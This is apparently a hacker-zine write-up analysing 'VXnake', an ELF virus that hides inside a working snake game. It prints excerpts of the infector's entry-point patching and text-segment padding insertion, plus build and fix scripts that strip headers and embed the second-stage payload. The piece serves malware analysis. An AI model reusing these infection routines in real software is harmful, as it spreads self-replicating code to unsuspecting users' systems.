2.10 A Brief Tour of VXnake by anonymous_
~ hexadecim8
Follow along with the code found here: vxnake1.tar.gz
0 Intro
I've been poking around the TMP clubhouse for a while, and the crew decided to give me the oddest bit of ELF they could find for my first write up. For anyone who had the Nokia phone in middle school (you know the one) you'll remember the classic game "snake".
Well, this game of snake comes with some added elf excitement.
This is a brief introduction to this code and a more in-depth analysis may happen at a later date.
1 File Structure
The program drops with a single directory aptly named 'virus'. The following file struct should help apprise the reader of all of the relevant locations:
Virus
--> build.sh
--> clean.sh
--> gen_payload
----> crt0.s
----> fix.sh
----> Makefile
----> politic.c
----> wrapper.h
----> include
--> gripe
----> host.c
----> inf.c
----> Makefile
--> second_stage
----> crt0.s
----> fix.sh
----> Makefile
----> politic.c
----> wrapper.h
----> include
--> snake
----> bkp
----> LICENSE
----> link.ld
----> Makefile
----> ncurses_include
----> ncurses_lib
----> README.md
----> src
------> backend.c
------> backend.h
------> frontend.c
------> frontend.h
------> main.c
2 Questions
Sure, we could start by asking questions. Of course a few come to mind such as, 'why would you go through the trouble of including a fully implemented game of snake for an ELF virus?'. We may never know the answer, but the code is indeed fully implemented:
---/begin code break\---
enum Status move_snake(Board* board, enum Direction dir) {
// Create a new beginning. Check boundaries.
PointList* beginning = next_move(board, dir);
if (beginning == NULL) {
}
// If we've gone backwards, don't do anything
if (board->snake->next && is_same_place(beginning, board->snake->next)) {
beginning->next = NULL;
free(beginning);
return SUCCESS;
...
---/end code break\---
So we know that the program has a fully-built game, but what about the virus part? Under the 'gripe' directory, there is a file called 'inf.c' that appears to be the first generation infector.
In inf.c, we can see that the struct 'politic_entry' is used to help deliver the payload.
---/begin code break\---
new_entry = phdr[i].p_vaddr + phdr[i].p_memsz + politic_entry;
---/end code break\---
It's an odd bit of code, but does some more fun and interesting things later on.
3 Virus Functionality
The virus and entrypoints are encapsulated in the following lines:
---/begin code break\---
//Patching the jmp ORIGINAL_ENTRY_POINT
*(uint32_t *)real_entry = -end_of_text + original_entry - patch_offset - 4;
//Saving the offset of patch in the payload
*(uint32_t *)(real_entry + 4) = (uint8_t *)real_entry - politic;
//Saving offset of payload entry on payload
*(uint64_t *)(real_entry + 8) = politic_entry;
//Saving the payload size in payload
*(uint64_t *)(real_entry + 16) = politic_len;
//Patch the addr of the second payload
*(uint64_t *)(real_entry + 24) = (data_vaddr - new_entry) + bss_size;
//Save second stage entry
*(uint64_t *)(real_entry + 32) = payload_entry;
//Save second stage len
*(uint64_t *)(real_entry + 40) = payload_len;
printf("offset from end of text to end_of_data = %lu\n", end_of_data - end_of_text);
printf("off end_datavaddr - newentry =%lu\n", data_vaddr - new_entry);
ofd = open(TMP, O_CREAT | O_WRONLY | O_TRUNC,
S_IRUSR | S_IXUSR | S_IWUSR);
write(ofd, host_mem, end_of_text);
//[EHDR][PHDRs][TEXT]
write(ofd, politic, politic_len);
//[EHDR][PHDRs][TEXT][VIRUS]
lseek(ofd, PAGE_SIZE - politic_len, SEEK_CUR);
//[EHDR][PHDRs][TEXT][VIRUS+PAD]
write(ofd, host_mem + end_of_text, end_of_data - end_of_text);
//[EHDR][PHDRs][TEXT][VIRUS+PAD][DATA]
lseek(ofd, bss_size, SEEK_CUR);
//[EHDR][PHDRs][TEXT][VIRUS+PAD][DATA][BSS]
write(ofd, payload, payload_len);
//[EHDR][PHDRs][TEXT][VIRUS+PAD][DATA][BSS][VIRUS2]
write(ofd, host_mem + end_of_data, st.st_size - end_of_data);
//[EHDR][PHDRs][TEXT][VIRUS+PAD][DATA][BSS][VIRUS2][SHDRs]
---/end code break\---
The VIRUS code at the beginning is added to the end of the text segment using the "Silvio" method. VIRUS uses mmap to load VIRUS2 from the data segment into a memory location that is executable, so no permissions changes are needed to the data segment.
You may have also noticed some .sh files in the file struct at the top of this write-up.
These scripts help format the data to be inserted as the payload into memory.
4 Forbidden Linker
Another thing you may have noticed was the linker script under the snake sub-directory.
The linker script does what all linker scripts are designed to do - bring all of the different C and assembly files together to create an executable (in this case, an ELF exe of course!) which on its own wouldn't be all that weird, except for what happens next in this Makefile;
---/begin code break\---
CFLAGS=-Wl,-N -fno-builtin -nostdlib -nodefaultlibs -fPIC -pie -mmanual-endbr\
-fdata-sections -ffunction-sections -s
all:
gcc -c -w $(CFLAGS) -o payload.o payload.c
objcopy --remove-section=.note.GNU-stack payload.o
objcopy --remove-section=.eh_frame payload.o
ld -s -S -e payload --hash-style=sysv -N --no-eh-frame-hdr --build-id=none --gc-sections\
-o payload payload.o --no-dynamic-linker -pie -pic
objcopy --remove-section=.comment payload
strip -s payload
strip -R .dynamic payload
strip -R .dynsym payload
strip -R .dynstr payload
strip -R .eh_frame payload
bash fix.sh
---/end code break\---
It is interesting and slightly unconventional (although perfecly functional) to see objcopy being used like this inside a Makefile. But wait, there's more!
5 Forbidden Shell Script
You'd think that building the executable would be the end of the story, but VXsnake is not yet ready to give up the rest of its secrets. Those secrets lie in the fix.sh script under the second_stage subdirectory:
---/begin code break\---
#!/bin/bash
#strip shstrtab section and section headers
dd if=./payload of=./TMpayload bs=1 \
count=$(readelf -S payload | grep shstrtab | awk '{print "0x"$6}' | printf "%d" $(cat /dev/stdin))
#ehdr->e_shnum = 0;
#ehdr->e_shstrndx = 0;
printf "\x00\x00\x00\x00" \
| dd if=/dev/stdin of=./TMpayload seek=60 bs=1 count=4 conv=notrunc
#ehdr->e_shoff = 0;
printf "\x00\x00\x00\00\x00\x00\x00\00" \
| dd if=/dev/stdin of=./TMpayload seek=40 bs=1 count=8 conv=notrunc
readelf -h TMpayload | grep Entry | awk '{print $4}' |\
printf "unsigned long payload_entry = 0x%x;\x0a" $(($(cat /dev/stdin)-(64+2*56)-0x400000)) > payload.h
dd if=./TMpayload of=./payload skip=$((64+2*56)) bs=1
chmod +x payload
xxd -i payload >> payload.h
---/end code break\---
The most fun part about fix.sh is the very last two lines where the payload executable generated by the linker script is then rebuilt into C shellscript.
6 Return
What a ride! There are some additional items involved in VXsnake that we, honestly, have not yet figured out.
What VXsnake does do is show just how dynamic ELF builds can be, and how many twists and turns code compilation can take. Malware analysts in particular should take note of some of the techniques used by VXsnake to better understand just how convoluted ELF malware can be.